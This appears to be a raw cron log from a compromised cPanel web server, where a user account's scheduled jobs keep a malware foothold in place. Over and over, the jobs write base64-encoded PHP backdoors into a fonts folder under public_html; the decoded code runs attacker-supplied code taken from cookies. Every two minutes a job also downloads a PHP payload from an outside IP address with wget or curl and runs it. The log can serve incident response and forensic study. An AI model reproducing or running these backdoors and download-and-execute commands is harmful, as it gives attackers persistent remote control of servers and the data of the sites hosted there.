Sep  4 01:55:01 ip-184-168-122-23 CROND[31692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:56:01 ip-184-168-122-23 CROND[31859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:56:01 ip-184-168-122-23 CROND[31862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:56:01 ip-184-168-122-23 CROND[31861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:56:01 ip-184-168-122-23 CROND[31863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:56:01 ip-184-168-122-23 CROND[31864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:57:01 ip-184-168-122-23 CROND[31943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:57:01 ip-184-168-122-23 CROND[31947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:57:01 ip-184-168-122-23 CROND[31945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:57:01 ip-184-168-122-23 CROND[31946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:58:01 ip-184-168-122-23 CROND[32044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:58:01 ip-184-168-122-23 CROND[32046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:58:01 ip-184-168-122-23 CROND[32047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:58:01 ip-184-168-122-23 CROND[32050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:58:01 ip-184-168-122-23 CROND[32048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:59:01 ip-184-168-122-23 CROND[32143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:59:01 ip-184-168-122-23 CROND[32146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:59:01 ip-184-168-122-23 CROND[32144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:59:01 ip-184-168-122-23 CROND[32145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:00:01 ip-184-168-122-23 CROND[32251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:00:01 ip-184-168-122-23 CROND[32252]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:00:01 ip-184-168-122-23 CROND[32258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:00:01 ip-184-168-122-23 CROND[32256]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 02:00:01 ip-184-168-122-23 CROND[32257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:00:01 ip-184-168-122-23 CROND[32261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:00:01 ip-184-168-122-23 CROND[32260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:00:01 ip-184-168-122-23 CROND[32262]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:00:01 ip-184-168-122-23 CROND[32264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:00:01 ip-184-168-122-23 CROND[32263]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  4 02:01:01 ip-184-168-122-23 CROND[32362]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 02:01:01 ip-184-168-122-23 CROND[32363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32362]: starting 0anacron
Sep  4 02:01:01 ip-184-168-122-23 CROND[32370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:01:01 ip-184-168-122-23 CROND[32375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:01:01 ip-184-168-122-23 CROND[32376]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 02:01:01 ip-184-168-122-23 CROND[32374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:01:01 ip-184-168-122-23 anacron[32382]: Anacron started on 2026-09-04
Sep  4 02:01:01 ip-184-168-122-23 anacron[32382]: Normal exit (0 jobs run)
Sep  4 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32385]: finished 0anacron
Sep  4 02:02:01 ip-184-168-122-23 CROND[32546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:02:01 ip-184-168-122-23 CROND[32548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:02:01 ip-184-168-122-23 CROND[32549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:02:01 ip-184-168-122-23 CROND[32550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:02:01 ip-184-168-122-23 CROND[32552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:03:01 ip-184-168-122-23 CROND[32645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:03:01 ip-184-168-122-23 CROND[32648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:03:01 ip-184-168-122-23 CROND[32649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:03:01 ip-184-168-122-23 CROND[32647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:04:01 ip-184-168-122-23 CROND[32729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:04:01 ip-184-168-122-23 CROND[32730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:04:01 ip-184-168-122-23 CROND[32732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:04:01 ip-184-168-122-23 CROND[32735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:04:01 ip-184-168-122-23 CROND[32736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:05:01 ip-184-168-122-23 CROND[396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:05:01 ip-184-168-122-23 CROND[397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:05:01 ip-184-168-122-23 CROND[398]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 02:05:01 ip-184-168-122-23 CROND[405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:05:01 ip-184-168-122-23 CROND[406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:05:01 ip-184-168-122-23 CROND[407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:05:01 ip-184-168-122-23 CROND[411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:06:01 ip-184-168-122-23 CROND[510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:06:01 ip-184-168-122-23 CROND[511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:06:01 ip-184-168-122-23 CROND[514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:06:01 ip-184-168-122-23 CROND[513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:06:01 ip-184-168-122-23 CROND[515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:07:01 ip-184-168-122-23 CROND[736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:07:01 ip-184-168-122-23 CROND[738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
